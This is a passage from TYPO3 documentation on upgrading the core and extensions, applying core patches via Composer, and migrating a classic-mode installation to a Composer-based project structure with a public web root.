  2. Read the changelogs in the backend: Upgrade > View Upgrade Documentation. This has the advantage that you can filter by tags and mark individual changelogs as done. This way, it is possible to use the list like a todo list.
  3. Read the changelog in the Extension Scanner (as explained above).
Upgrade Analysis

The "Upgrade Analysis" in the Install Tool

Resolve Deprecations

If you notice some API you are using is deprecated, you should look up the corresponding changelog entry and see how to migrate your code corresponding to the documentation.

Since TYPO3 v9 an extension scanner is included, that provides basic scanning of your extensions for deprecated code. While it does not catch everything, it can be used as a base for an upgrade. You can either access the extension scanner via the TYPO3 admin tools (in the Backend: Module "Upgrade" > "Scan Extension Files") or as a standalone tool (https://github.com/tuurlijk/typo3scan).

The extension scanner will show the corresponding changelog which contains a description of how to migrate your code. See Check the ChangeLog for more information about the changelogs and how to read them.

In addition, you can use the tool typo3-rector to automatically refactor the code for a lot of deprecations.

Upgrade the Core

Upgrading to a major release using Composer

This example details how to upgrade from one LTS release to another. In this example, the installation is running TYPO3 version 12.4.25 and the new LTS release is version 13.4.3.

Check the required PHP version

On https://get.typo3.org/ you can find the required PHP versions to run a certain TYPO3 version. For example TYPO3 13 requires at least PHP 8.2.

How to switch your PHP version depends on the hosting you are using. Please check with your hosting provider.

Check which TYPO3 packages are currently installed

TYPO3's Core contains a mix of required and optional packages. For example, typo3/cms-backend is a required package. typo3/cms-sys-note is an optional package and does not need to be installed for TYPO3 to work correctly.

Prior to upgrading, check which packages are currently installed and make a note of them.

Running composer info "typo3/*" will output a list of all TYPO3 packages that are currently installed.

Running composer require

To upgrade a Composer package, run composer require with the package name and version number.

For example, to upgrade typo3/cms-backend run composer require typo3/cms-backend:^13.4.

When upgrading to a new major release, each of TYPO3's packages will need to be upgraded.

Given that a typical installation of TYPO3 will consist of a number of packages, it is recommended that the Composer Helper Tool be used to help generate the Composer upgrade command.

Assuming that the packages below are installed locally, the following example would upgrade each of them to version 13.4.

composer require --update-with-all-dependencies "typo3/cms-adminpanel:^13.4" \
"typo3/cms-backend:^13.4" "typo3/cms-belog:^13.4" "typo3/cms-beuser:^13.4" \
"typo3/cms-core:^13.4" "typo3/cms-dashboard:^13.4"  "typo3/cms-extbase:^13.4" \
"typo3/cms-extensionmanager:^13.4" "typo3/cms-felogin:^13.4" "typo3/cms-fluid-styled-content:^13.4" \
"typo3/cms-filelist:^13.4" "typo3/cms-filemetadata:^13.4" "typo3/cms-fluid:^13.4" \
"typo3/cms-form:^13.4" "typo3/cms-frontend:^13.4" "typo3/cms-impexp:^13.4" \
"typo3/cms-info:^13.4" "typo3/cms-install:^13.4" "typo3/cms-linkvalidator:^13.4" \
"typo3/cms-lowlevel:^13.4" "typo3/cms-reactions:^13.4" "typo3/cms-recycler:^13.4" \
"typo3/cms-rte-ckeditor:^13.4" "typo3/cms-seo:^13.4"  "typo3/cms-setup:^13.4" \
"typo3/cms-sys-note:^13.4" "typo3/cms-t3editor:^13.4" "typo3/cms-tstemplate:^13.4" \
"typo3/cms-viewpage:^13.4" "typo3/cms-webhooks:^13.4"
Copied!

A typical TYPO3 installation is likely to have multiple third-party extensions installed and running the above command can create dependency errors.

For example, when upgrading from TYPO3 v12 LTS to v13 LTS an error can occur stating that "helhum/typo3-console": "^8.1" is only compatible with v12 LTS, with the new version ^9.1 supporting TYPO3 v13 LTS.

For each of these dependency errors, add the version requirement "helhum/typo3-console:^9.1" to the end of your composer require string and retry the command.

Monitoring changes to TYPO3's Core

The system extensions that are developed and exist within TYPO3's Core are likely to change over time. Some extensions are merged into others, new system extensions are added and others abandoned.

These changes are published the changelog.

Next steps

Once the upgrade is complete, there are a set of tasks that need to actioned to complete the process. See Post-upgrade tasks.

Post-upgrade tasks

Run the upgrade wizard

Enter the Install Tool at https://example.org/typo3/install.php on your TYPO3 site.

Upgrade wizard

The "Upgrade Wizard" in the Install Tool.

TYPO3 provides an upgrade wizard for easy upgrading. Go to the Upgrade section and choose Upgrade Wizard. Take a look at the different wizards provided. You should go through them one by one.

You must start with Create missing tables and fields if it's displayed, which adds new tables and columns to the database.

Click Execute. Now all ext_tables.sql files from core and extensions are read and compared to your current database tables and columns. Any missing tables and columns will be shown and you'll be able to execute queries sufficient to add them.

After you added these tables and columns, go on to the next wizard.

The "Version Compatibility" wizard sets the compatibility version of your TYPO3 installation to the new version. This allows your frontend output to use new features of the new TYPO3 version.

Go through all wizards and apply the (database) updates they propose. Please note that some wizards provide optional features, like installing system extensions that you may not need in your current installation, so take care to only apply those wizards, which you really need. Apply the optional wizards too - just be sure to select the correct option (e.g. "No, do not execute"). This way, these wizards will also be removed from the list of wizards to execute and the upgrade will be marked as "done".

Choose "No, do not execute"

After running through the upgrade wizards go to Maintenance > Analyze Database Structure. You will be able to execute queries to adapt them so that the tables and columns used by the TYPO3 Core correspond to the structure required for the new TYPO3 version.

Run the database analyser

While in the previous step, tables and columns have been changed or added to allow running the upgrade wizards smoothly. The next step gives you the possibility to remove old and unneeded tables and columns from the database.

Use the "Maintenance section" and click "Analyze Database".

Analyze the database structure

See also Database compare during update and installation.

You will be able to execute queries to remove these tables and columns so that your database corresponds to the structure required for the new TYPO3 version.

Select the upgrades you want and press "Execute":

Database analyzer

The Database Analyzer

When you then click "Compare current database with specification" again and you only see the message

Database analyzer

The Database Analyzer with no updates to do

then all database updates have been applied.

Clear user settings

You might consider clearing the Backend user preferences. This can avoid problems, if something in the upgrade requires this. Go to "Clean up", scroll to "Reset user preferences" and click "Reset backend user preferences".

Reset User Preferences

The option "Reset Backend User Preferences" in the Install Tool

Clear caches

You have to clear all caches when upgrading.

Go to the Admin Tools > Maintenance backend module and click on the Flush cache button:

Flush Caches

The option "Flush" in the Admin Tool.

Additionally, after an upgrade to a new major version, you should also delete the other temporary files, which TYPO3 saves in the typo3temp/ folder. In the Admin Tools > Maintenance module click on the Remove Temporary Assets > Scan temporary files button and select the appropriate folders.

Remove temporary assets

The option "Remove temporary assets" in the Install Tool.

Update backend translations

In the Install tool, go to the module "Maintenance" -> "Manage languages" and update your translations. If you don't update your translations, new texts will only be displayed in English. Missing languages or translations can be added following the section Internationalization and Localization.

Manage language packs

The option "Manage language packs" in the Install Tool

Verify webserver configuration (.htaccess)

After an update, the .htaccess file may need adoption for the latest TYPO3 major version (for Apache webservers), see details on .htaccess.

Compare the file vendor/typo3/cms-install/Resources/Private/FolderStructureTemplateFiles/root-htaccess (or .htaccess) with your project's .htaccess file and adapt new rules accordingly. If you never edited the file, copy it over to your project to ensure using the most recent version.

Your project's .htaccess file should be under version control and part of your deployment strategy.

For NGINX based webservers, you may also need to adapt configuration. The changelogs of TYPO3 will contain upgrade instructions, like in Deprecation: #87889 - TYPO3 backend entry point script deprecated

Upgrading extensions

How you upgrade extensions depends on your role and project setup:

  • If you use third-party extensions, update them via Composer or the Extension Manager.
  • If you maintain your own custom extension or site package, refer to the dedicated guide on updating your codebase.

Managing extensions with Composer

Covers installation, upgrades, downgrades, removal, and update reverts for Composer-based TYPO3 projects.

Managing extensions via Extension Manager

For projects not using Composer, extensions can be installed and updated using the TYPO3 backend's Extension Manager.

Maintaining your own extension

If you maintain a custom extension or site package, see this guide for tips on versioning, upgrading for new TYPO3 releases, and ensuring compatibility.

Third-party tools

A collection of third-party resources that can assist with upgrade and maintenance tasks.

Rector for TYPO3

Rector for TYPO3 was created to help developers upgrade their TYPO3 installations and ensure their extensions support the latest versions of PHP and TYPO3. Rector scans your code base and replaces any deprecated functions with an appropriate replacement. Rector can also help ensure better code quality by means of automated refactoring.

Rector can run as a standalone package or it can be integrated with your CI pipeline.

Resources

Support

Visit the TYPO3 Slack and search for the #ext-typo3-rector channel. You can also open an issue or start a discussion on the projects GitHub page.

EXT: Core Upgrader (v2)

The TYPO3 extension was initially developed as EXT:core-upgrader (Composer package ichhabrecht/core-upgrader, compatible up to TYPO3 v10) and has been forked as EXT:core-upgraderv2 (Composer package wapplersystems/core-upgrader, compatible up to TYPO3 v12).

The extension allows to perform multiple TYPO3 Core version upgrades in one step by offering the older upgrade wizards.

Another way to perform (and test/verify) upgrades of multiple TYPO3 versions in one go is outlined in a blog article "Automatic TYPO3 Updates Across Several Major Versions With DDEV.

Classic mode upgrade

Minor Upgrades - Using The Core Updater

The "Install Tool" in the section "Important Actions" provides a function to update the TYPO3 Core.

In the section "Important Actions" scroll down to "Core update" and click the "Check for core updates" button. If the requirements are met, TYPO3 will automatically install the new source code.

What's the Next Step?

In case you performed a minor update, e.g. from TYPO3 12.4.0 to 12.4.1, database updates are usually not necessary, though you still have to remove the temporary cache files. After that your update is finished.

In case of a major update, e.g. from TYPO3 11.5 to 12.4, go ahead with the next step!

Also check out any breaking changes listed in the changelog for the new version.

Applying Core patches

At some point you may be required to apply changes to TYPO3's core. For example you may be testing a colleague's feature or working on a patch of your own.

Never change the code found in the Core directly. This includes all files in typo3/sysext and vendor.

Any manual changes you make to TYPO3's Core will be overwritten as soon as the Core is updated.

Changes that need to be applied to the Core should be stored in *.diff files and reapplied after each update.

Automatic patch application with cweagans/composer-patches

To automatically apply patches first install cweagans/composer-patches:

composer req cweagans/composer-patches
Copied!

Choose a folder to store all patches in. This folder should ideally be outside of the webroot. Here we use the folder patches on the same level as the project's main composer.json. Each patch can be applied to exactly one composer package. The paths used in the patch must be relative to the packages path.

Edit your project's main composer.json. Add a section patches within the section extra. If there is no section extra yet, add one.

project_root/composer.json
"extra": {
  "typo3/cms": {
    "web-dir": "public"
  },
  "composer-exit-on-patch-failure": true,
  "patches": {
    "typo3/cms-core": {
      "Bug #98106 fix something":"patches/Bug-98106.diff"
    }
  }
}
Copied!

The patch itself looks like this:

patches/Bug-98106.diff (Simplified)
diff --git a/Classes/Utility/GeneralUtility.php b/Classes/Utility/GeneralUtility.php
index be47cfe..08fd6fc 100644
--- a/Classes/Utility/GeneralUtility.php
+++ b/Classes/Utility/GeneralUtility.php
@@ -2282,17 +2282,24 @@
      */
     public static function createVersionNumberedFilename($file)
     {
+        $isFrontend = ($GLOBALS['TYPO3_REQUEST'] ?? null) instanceof ServerRequestInterface
+            && ApplicationType::fromRequest($GLOBALS['TYPO3_REQUEST'])->isFrontend();
         $lookupFile = explode('?', $file);
         $path = $lookupFile[0];

-        if (($GLOBALS['TYPO3_REQUEST'] ?? null) instanceof ServerRequestInterface
-            && ApplicationType::fromRequest($GLOBALS['TYPO3_REQUEST'])->isFrontend()
-        ) {
+        if ($isFrontend) {
             $mode = strtolower($GLOBALS['TYPO3_CONF_VARS']['FE']['versionNumberInFilename']);
             if ($mode === 'embed') {
                 $mode = true;
Copied!

Apply the patch by running the following command:

composer install
Copied!

If applying the patch fails, you may get a cryptic error message like:

Example error message

Could not apply patch! Skipping. The error was: Cannot apply patch patches/Bug-98106.diff
Copied!

You can get a more verbose error message by calling:

Very, very verbose error message
composer install -vvv
Copied!

Creating a diff from a Core change

You can choose between two methods:

Apply a core patch manually

In case a new Core version has not been released yet, but you urgently need to apply a certain patch, you can download that patch from the corresponding change on https://review.typo3.org/.

Choose Download patch from the option menu (3 dots on top of each other):

Download patch

Download patch in the option menu

Then choose your preferred format from the section Patch file.

Download Patch file

Unzip the diff file and put it into the folder patches of your project.

Core diff files are by default relative to the typo3 web-dir directory. And they can contain changes to more than one system extension. Furthermore they often contain changes to files in the directory Tests that is not present in a Composer based installation.

When you plan to apply the diff by Automatic patch application with cweagans/composer-patches you will need to manually adjust the patch file:

Remove all changes to the directory Tests and other files or directories that are not present in your installation's source. Change all paths to be relative to the path of the extension that should be changed. If more then one extension needs to be changed split up the patch in several parts, one for each system extension.

For example the following patch contains links relative to the web root and contains a test:

patches/ChangeFromCore.diff (Simplified)
diff --git a/typo3/sysext/core/Classes/Utility/GeneralUtility.php b/typo3/sysext/core/Classes/Utility/GeneralUtility.php
index be47cfe..08fd6fc 100644
--- a/typo3/sysext/core/Classes/Utility/GeneralUtility.php
+++ b/typo3/sysext/core/Classes/Utility/GeneralUtility.php
@@ -2282,17 +2282,24 @@
      */
     public static function createVersionNumberedFilename($file)
     {
+        $isFrontend = ($GLOBALS['TYPO3_REQUEST'] ?? null) instanceof ServerRequestInterface
+            && ApplicationType::fromRequest($GLOBALS['TYPO3_REQUEST'])->isFrontend();
         $lookupFile = explode('?', $file);
         $path = $lookupFile[0];
-        if (($GLOBALS['TYPO3_REQUEST'] ?? null) instanceof ServerRequestInterface
-            && ApplicationType::fromRequest($GLOBALS['TYPO3_REQUEST'])->isFrontend()
-        ) {
+        if ($isFrontend) {
             $mode = strtolower($GLOBALS['TYPO3_CONF_VARS']['FE']['versionNumberInFilename']);
             if ($mode === 'embed') {
                 $mode = true;
diff --git a/typo3/sysext/core/Tests/Unit/Utility/GeneralUtilityTest.php b/typo3/sysext/core/Tests/Unit/Utility/GeneralUtilityTest.php
index 68e356e..0ef4b80 100644
--- a/typo3/sysext/core/Tests/Unit/Utility/GeneralUtilityTest.php
+++ b/typo3/sysext/core/Tests/Unit/Utility/GeneralUtilityTest.php
@@ -4099,4 +4102,42 @@

         self::assertMatchesRegularExpression('/^.*\/tests\/' . $uniqueFilename . '\.[0-9]+\.css/', $versionedFilename);
     }
+
+    /**
+     * @test
+     */
+    public function createVersionNumberedFilenameKeepsInvalidAbsolutePathInFrontendAndAddsQueryString(): void
+    {
+        doSomething();
+    }
Copied!

Remove the tests and adjust the paths to be relative to the system extension Core:

patches/Bug-98106.diff (Simplified)
diff --git a/Classes/Utility/GeneralUtility.php b/Classes/Utility/GeneralUtility.php
index be47cfe..08fd6fc 100644
--- a/Classes/Utility/GeneralUtility.php
+++ b/Classes/Utility/GeneralUtility.php
@@ -2282,17 +2282,24 @@
      */
     public static function createVersionNumberedFilename($file)
     {
+        $isFrontend = ($GLOBALS['TYPO3_REQUEST'] ?? null) instanceof ServerRequestInterface
+            && ApplicationType::fromRequest($GLOBALS['TYPO3_REQUEST'])->isFrontend();
         $lookupFile = explode('?', $file);
         $path = $lookupFile[0];

-        if (($GLOBALS['TYPO3_REQUEST'] ?? null) instanceof ServerRequestInterface
-            && ApplicationType::fromRequest($GLOBALS['TYPO3_REQUEST'])->isFrontend()
-        ) {
+        if ($isFrontend) {
             $mode = strtolower($GLOBALS['TYPO3_CONF_VARS']['FE']['versionNumberInFilename']);
             if ($mode === 'embed') {
                 $mode = true;
Copied!

Apply a core patch automatically via gilbertsoft/typo3-core-patches

With the help of the Composer package gilbertsoft/typo3-core-patches a Core patch can be applied automatically. It works on top of cweagans/composer-patches. You need at least PHP 7.4 and composer 2.0.

First, install the package:

composer req gilbertsoft/typo3-core-patches
Copied!

Then look up the change ID on review.typo3.org <https://review.typo3.org/>. You can find it in the URL or left of the title of the change. In the example it's 75368.

Look up the change id

Look up the change id

Now execute the following command with your change ID:

composer typo3:patch:apply <change-id>
Copied!

You can find more information about the package and its usage in the documentation.

Requirements

TYPO3 version

Composer packages for TYPO3 can be found on packagist.org down to version 6.2.0: typo3/cms-*.

Composer

Composer is a program that is written in PHP. Instructions for downloading and installing Composer can be found on getcomposer.org.

Your host needs to be able to execute the composer binary.

Folder structure

If the root folder of your project is identical to your web root folder, you need to change this. Composer will add a vendor/ folder to your project root, and if your project root and your web root are identical, this can be a security issue: files in the vendor/ folder could be directly accessible via HTTP request.

Bad:

Page tree of directory typo3_root
$ tree typo3_root
├── index.php
├── fileadmin/
├── typo3/
├── typo3conf/
└── typo3temp/
Copied!

You will need a web root folder in your project. You can find many tutorials with different names for your web root folder (e.g. www/, htdocs/, httpdocs/, wwwroot/, html/). The truth is: the name does not matter because we can configure it in the settings in a later step. We will use public/ in our example.

Bad:

Page tree of directory typo3_root
$ tree typo3_root
└── cms/ (web root)
    └── public/
        ├── index.php
        ├── fileadmin/
        ├── typo3/
        ├── typo3conf/
        └── typo3temp/
Copied!

Here you would access the installation via https://example.com/cms/public/index.php, which would also be a security issue as any other directory outside of the dedicated project root directory could be accessible.

Also having a directory structure like that can create file and directory resolving issues within the TYPO3 backend.

Good:

Page tree of directory typo3_root
$ tree typo3_root
└── public/
    ├── index.php
    ├── fileadmin/
    ├── typo3/
    ├── typo3conf/
    └── typo3temp/
Copied!

If you do not have such a web root directory, you will have to refactor your project before proceeding. First, you create the new directory public/ and basically move everything you have inside that subdirectory. Then check all of your custom code for path references that need to be adjusted to add the extra public/ part inside of it. Usually, HTTP(S) links are relative to your root, so only absolute path references may need to be changed (e.g. cronjobs, CLI references, configuration files, .gitignore, ...).

Please be aware that you very likely need to tell your web server about the changed web root folder if necessary. You do that by changing a DocumentRoot (Apache) or root (Nginx) configuration option. Most hosting providers offer a user interface to change the base directory of your project.

For local development with DDEV or Docker <https://docker.com> you will also need to adjust the corresponding configuration files.

Git version control, local development and deployment

This migration guide expects that you are working locally with your project and use Git version control for it.

If you previously used the TYPO3 Classic mode installation (from a release ZIP) and did not yet use Git versioning, this is a good time to learn about version control first.

All operations should ideally take place in a separate branch of your Git repository. Only when everything is completed you should move your project files to your staging/production instance (usually via deployment, or via direct file upload to your site). If you do not yet use deployment techniques, this is a good time to learn about that.

Composer goes hand in hand with a good version control setup and a deployment workflow. The initial effort to learn about all of this is well worth your time, it will make any project much smoother and more maintainable.

Local development platforms like DDEV, Docker or XAMPP/WAMPP/MAMPP allow you to easily test and maintain TYPO3 projects, based on these git, docker and composer concepts.

Of course you can still perform the Composer migration on your live site without version control and without deployment, but during the migration your site will not be accessible, and if you face any problems, you may not be able to easily revert to the initial state.

Code integrity

Your project must have the TYPO3 Core and all installed extensions in their original state. If you applied manual changes to the files, these will be lost during the migration steps.

Migration steps

It is recommended to perform a Composer migration using the latest TYPO3 major release to prevent bugs and issues that have been solved in newer versions. If you are using an older TYPO3 version in Classic mode, you have two options:

  • Upgrade TYPO3 Classic mode installation first, then migrate to Composer. This is probably more straight-forward as you can follow the Classic mode Upgrade Guide, and then this guide.
  • Migrate the old TYPO3 version to Composer first, then perform a major upgrade. This might be a bit tricky, because you have to use older versions of typo3/cms-composer-installers and dependencies like helhum/typo3-console, or outdated extensions on Packagist. You will need to read through older versions of this guide that match your TYPO3 version (use the version selector of the documentation).

Delete files

Make a backup first! If things go wrong, you can at least go back to the old version. You need a backup of

  • all files of your TYPO3 installation (by using FTP, SCP, rsync, or any other method)
  • the database (by exporting the database to an SQL file)

Also, you may prefer to upgrade a copy of your site first, if there have been a lot of changes and some of them might interfere with functions of your site. See the changelog to check that.

For more detailed information about TYPO3 backups see Backups and recovery in TYPO3 Explained.

Yes, it's true that you will have to delete some files, because they will be newly created by Composer in some of the next steps.

You will have to delete public/index.php, public/typo3/ and any extensions that you have downloaded from the TYPO3 Extension Repository (TER) or other resources like GitHub in public/typo3conf/ext/. Also, delete your own custom extensions if they are published in a separate Git repository or included as a Git submodule.

Only keep your sitepackage extension and extensions which have been explicitly built for your current project and do not have their own Git repository.

Configure Composer

Create a file named composer.json in your project root (not in your web root).

You can use the composer.json file from typo3/cms-base-distribution as an example. Use the file from the branch which matches your current version, for example 12.x.

However, this file may require extensions you don't need or omit extensions you do need, so be sure to update the required extensions as described in the next sections.

Other ways of creating the composer.json file are via a composer init command, the TYPO3 Composer Helper or advanced project builders like CPS-IT project-builder which use a guided approach to create the file.

Add all required packages to your project

You can add all your required packages with the Composer command composer require. The full syntax is:

typo3_root$
composer require anyvendorname/anypackagename:version
Copied!

Example:

typo3_root$
composer require "typo3/minimal:^12"
Copied!

This uses the Packagist repository by default, which is the de-facto standard for Composer packages.

Composer packages follow a concept called SemVer <https://semver.org/ (semantic versioning). This splits version numbers into three parts:

  • Major version (1.x.x)
  • Minor version (x.1.x)
  • Patch-level (x.x.1)

Major versions should include intentional breaking changes (like a new API, changed configuration directives, removed functionality).

New features are introduced in minor versions (unless it is breaking change).

Patch-level releases only fix bugs and security issues and should never add features or breaking changes.

These Composer version constraints allow you to continuously update your installed packages and get an expected outcome (no breaking changes or broken functionality).

There are different ways to define the version of the package you want to install. The most common syntaxes start with ^ (e.g. ^12.4) or with ~ (e.g. ~12.4.0). Full documentation can be found at https://getcomposer.org/doc/articles/versions.md

In short:

  • ^12.4 or ^12.4.0 tells Composer to add the newest package of version 12.\* with at least 12.4.0. When a package releases version 12.9.5, you would receive that version. Version 13.0.1 would not be fetched. So this allows any new minor or patch-level version, but not a new major version.
  • ~12.4.0 tells Composer to add the newest package of version 12.4.\* with at least 12.4.0, but not version 12.5.0 or 13.0.1. This would only fetch newer patch-level versions of a package.

You have to decide which syntax best fits your needs.

This applies to TYPO3 Core packages, extension packages and dependencies unrelated to TYPO3.

As a first step, you should only pick the TYPO3 Core extensions to ensure your setup works, and add third-party dependencies later.

Install the Core

Once the composer.json is updated, install additional system extensions:

typo3_root$
composer require typo3/minimal:^12.4
composer require typo3/cms-scheduler:^12.4
composer require ...
Copied!

Or, in one line:

typo3_root$
composer require typo3/minimal:^12.4 typo3/cms-scheduler:^12.4 ...
Copied!

To find the correct package names, either take a look in the composer.json of that system extension or follow the naming convention typo3/cms-<extension name with dash "-" instead of underscore "_">, e.g. typo3/cms-fluid-styled-content. You can also go to Packagist and search for typo3/cms- to see all listed packages.

Install extensions from Packagist

You know the TYPO3 Extension Repository (TER) and have used it to install extensions? Fine. However, with Composer the required way is now to install extensions directly from Packagist.

This is the usual method for most extensions used today. Alternatively, some extension authors and commercial providers offer a custom Composer repository that you can use (see below). Installation is the same - composer require.

To install a TYPO3 extension you need to know the package name. There are multiple ways to find it out:

Notice on extension's TER page

Extension maintainers can link their TYPO3 extension in TER with the Composer package name on Packagist. Most maintainers have done this and if you search for the extension in TER you will see which command and Composer package name can be used to install the extension.

Search on Packagist

Packagist has a quick and flexible search function. Often you can search by TYPO3 extension key or name of the extension and you will most likely find the package you are looking for.

Check manually

This is the most exhausting way - but it will work, even if the extension maintainer has not explicitly provided the command.

  1. Search for and open the extension you want to install, in TER.
  2. Click button "Take a look into the code".

  3. Open file composer.json.

  4. Search for line with property "name". Its value should be formatted like vendor/package.

  5. Check if the package can be found on Packagist.

Example: To install the mask extension version 8.3.*, type:

typo3_root$
composer require mask/mask:~8.3.0
Copied!

Install extension from version control system (e.g. GitHub, Gitlab, ...)

In some cases, you will have to install a TYPO3 extension that is not available on Packagist or TER. For example:

  • a non-public extension only used in your company.
  • you forked and modified an existing extension.
  • commercial plugin / licensed download / Early Access (EAP)

As a first step, define the repository in the repositories section of your composer.json. In this example the additional lines are added to the top of composer.json:

/composer.json
{
    "repositories": [
        {
            "type": "vcs",
            "url": "https://github.com/foo/bar.git"
        }
    ],
    "extra": {
        "typo3/cms": {
            "web-dir": "public"
        }
    }
}
Copied!

Ideally, you should not edit a composer.json file manually, but instead use Composer commands to make the changes, like this:

typo3_root$
composer config repositories.foo-bar vcs https://github.com/foo/bar.git
Copied!

The Git repository must point to a TYPO3 extension with a composer.json.

See composer.json for details on what these files should look like.

Git tags in the repository are used as version numbers.

Instead of adding a single Git repository, it is also possible to add Composer repositories that aggregate multiple packages through tools like Satis, or Private Packagist repositories.

If these requirements are fulfilled, you can add your extension in the normal way:

typo3_root$
composer require foo/bar:~1.0.0
Copied!

Include individual extensions like site packages

A project will often contain custom extensions, such as a sitepackage which provides TYPO3-related project templates and configuration.

Before TYPO3 v12, these extensions were stored in the typo3conf directory typo3conf/ext/my_sitepackage. Composer mode allows you to easily add a custom repository to your project by using the path type. This means you can require your local sitepackage as if it was a normal package without publishing it to a repository like GitHub or on Packagist.

Usually these extensions are in a directory like <project_root>/packages/ or <project_root>/extensions/ (and no longer in typo3conf/ext/), so you would use:

typo3_root$
composer config repositories.local_packages path './packages/*'
composer require myvendor/sitepackage
Copied!

Your sitepackage needs to be contained in its own directory like <project_root>/packages/my_sitepackage/ and provide a composer.json file in that directory. The composer.json file needs to list all the possible autoloading information for PHP classes that your sitepackage uses:

EXT:my_sitepackage/composer.json
{
     "autoload": {
         "psr-4": {
             "MyVendor\\Sitepackage\\": "Classes/"
         }
     }
}
Copied!

Directory locations are always relative to where the extension-specific composer.json is stored.

Do not mix up the project-specific composer.json file with the package-specific composer.json file. Autoloading information is specific to an extension, so it is not usually listed in the project file.

Now our example project's composer.json would look like this:

typo3_root/composer.json
{
    "repositories": [
        {
            "type": "vcs",
            "url": "https://github.com/foo/bar.git"
        },
        {
            "type": "path",
            "url": "./packages/*"
        },
    ],
    "extra": {
        "typo3/cms": {
            "web-dir": "public"
        }
    }
}
Copied!

After adding or changing paths in the autoload section you should run composer dumpautoload. This command will re-generate the autoload information and should be run anytime you add new paths to the autoload section in the composer.json.

After all custom extensions have been moved out of typo3conf/ext/ you can delete the directory from your project. You may also want to adapt your .gitignore file to remove any entries related to that old directory.

New file locations

Finally, some files will need to be moved because the location will have changed for your site since moving to Composer.

The files listed below are internal files that should not be exposed to the webserver, so they are should be moved outside the public/ structure.

At a minimum, the site configuration and the translations should be moved.

Move files:

typo3_root$
mv public/typo3conf/sites config/sites
mv public/typo3temp/var var
mv public/typo3conf/l10n var/labels
Copied!

These locations have changed. Note that TYPO3 v12+ moved more configuration files to a new directory than TYPO3 v11:

Before After
public/typo3conf/sites config/sites
public/typo3temp/var var
public/typo3conf/l10n var/labels
public/typo3conf/LocalConfiguration.php config/system/settings.php
public/typo3conf/AdditionalConfiguration.php config/system/additional.php
public/typo3conf/system/settings.php config/system/settings.php
public/typo3conf/system/additional.php config/system/additional.php
public/typo3 vendor/typo3/
public/typo3conf/PackageStates.php removed
public/typo3conf/ext removed (replaced by vendor and e.g. packages)
public/typo3conf/ext/.../Resources/Public public/_assets (new)

The directory public/_assets/ and how to migrate public web assets from extensions and your sitepackage is described in: Migrating and accessing public web assets from typo3conf/ext/ to public/_assets .

Have a look at Directory structure of a typical TYPO3 project in "TYPO3 Explained". Developers should also be familiar with the Environment API.

Migrating and accessing public web assets from typo3conf/ext/ to public/_assets

TYPO3 v12 requires the Composer plugin typo3/cms-composer-installers with v5, which automatically installs extensions into Composer's vendor/ directory, just like any other regular dependency. This increases the default security, so that files from extensions can no longer be accessed directly via HTTP.

In order to allow serving assets (images/icons, CSS, JavaScript) from the public web folder, every directory Resources/Public/ of any installed extension is symlinked from their original location to a directory called _assets/ within the public web folder (public/ by default).

The name of a symlinked directory is created as a MD5 hash to prevent possible information disclosure. As of now, this hash depends on the extension name and its Composer project path, so it will not change upon deployment. The specific hashing is an implementation detail that may be subject to change with future TYPO3 major versions.

For example, a file that was previously accessible as public/typo3conf/ext/my_extension/Resources/Public/Images/logo.svg will now be stored in vendor/my-vendor/my-extension/Resources/Public/Images/logo.svg and be symlinked to public/_assets/9e592a1e5eec5752a1be78133e5e1a60/Resources/Public/Images/logo.svg.

Migration

The general idea is, that if you follow the best practice of referencing to assets via a EXT:my_extension/Resources/Public/... notation where applicable (TypoScript, Fluid, PHP), you should not need to take further action.

When updating an older TYPO3 installation though, you may want to perform the following migration steps:

  • Any references from your Fluid templates, CSS/JavaScript files (or similar) that pointed to typo3conf/ext/... must now be changed (search your extension code for typo3conf/ext/). Ideally change code within Fluid or TypoScript, so that you can use a EXT:my_extension/Resources/Public/... reference. Those will automatically point to the right _assets directory. For example, the f:uri.resource ViewHelper will help you with this, as well as the TypoScript stdWrap insertData and data path or typolink / IMG_RESOURCE functionality. Also, in most YAML definitions you can use the EXT:my_extension/Resources/Public/... notation.
  • Adjust possible frontend build pipelines which previously wrote files into typo3conf/ext/... so that they are now put into your extension source directory (for example, packages/my-extension/...).
  • Any other static links to these files (like PHP API endpoints) must be changed to either utilize dynamic routes, middleware endpoints or static files/directories from custom directories in your project's public web path.
  • References within the same extension should use relative links, for example use background-image: url('../Images/logo.jpg') instead of background-image: url('/typo3conf/ext/my_extension/Resources/Public/Images/logo.jpg').
  • You can use TypoScript/PHP/Fluid as mentioned above to create variables with resolved asset URI locations. These variables can utilize the EXT:my_extension/Resources/Public/... notation, and can be passed along to a JavaScript variable or a HTML DOM/data attribute, so it can be further evaluated.
  • If one extension links to an asset from another extension, and you cannot use the EXT:my_extension/Resources/Public/... syntax (for example, background images in a CSS file) you should either:

    • Create a central, sitepackage-like extension that can take care of delivering all assets. CSS classes could be defined that refer to assets, and then other extensions could use the CSS class, instead of utilizing their own background-image: url(...) directives. Ideally, use a bundler for your CSS/JavaScript (for example Vite, webpack, grunt/gulp, encore, ...) so that you only have a single extension that is responsible for shared assets. Bundlers can also help you to have a central asset storage, and distribute copies of these assets to all dependencies/sub-packages that depend on these assets.
    • Utilize a PSR middleware or dynamic routes to "listen" on a specific URL like dynamicAssets/logo.jpg and create a wrapper that returns specific files, resolved via the TYPO3 method PathUtility::getAbsoluteWebPath(GeneralUtility::getFileAbsFileName('EXT:my-extension/Resources/Public/logo.jpg').
    • If all else fails: You can link to the full MD5 hashed URL, like background-image: url('/_assets/9e592a1e5eec5752a1be78133e5e1a60/Images/logo.jpg') (or create a custom stable symlink, for example within your deployment, that points to the hashed directory name). The caveat of this: the hashing method may change in future TYPO3 major versions, and since the hash is based on a Composer project directory, this is only a suitable workaround for custom projects, and not publicly available extensions that need to work in all installations. Changes to the location/name of the vendor/ directory would then break frontend functionality.

The TYPO3-Console extension has a helpful vendor/bin/typo3 frontend:asseturl command, that lists all the installed TYPO3 extensions plus their public resource directory hash.

For more details and the background about the change, read more:

Version control

Add to version control system

If you use a version control system such as Git (and you really should!), it is important to add both files composer.json and composer.lock (which were created automatically during the previous steps). The composer.lock file keeps track of the exact versions that are installed, so that you are on the same versions as your co-workers (and when deploying to the live system).

Additionally, some files and folders added by Composer should be excluded:

  • public/index.php
  • public/typo3/
  • public/typo3conf/ext/
  • vendor/

A .gitignore file could look like this:

/.gitignore
/var/*
!/var/labels
/vendor/*
/public/index.php
/public/typo3/*
Copied!

Checkout from version control system

All your co-workers should always run composer install after they have checked out the files. This command will install the packages in the appropriate versions defined in composer.lock. This way, you and your co-workers always have the same versions of the TYPO3 Core and the extensions installed.

Maintaining versions / composer update

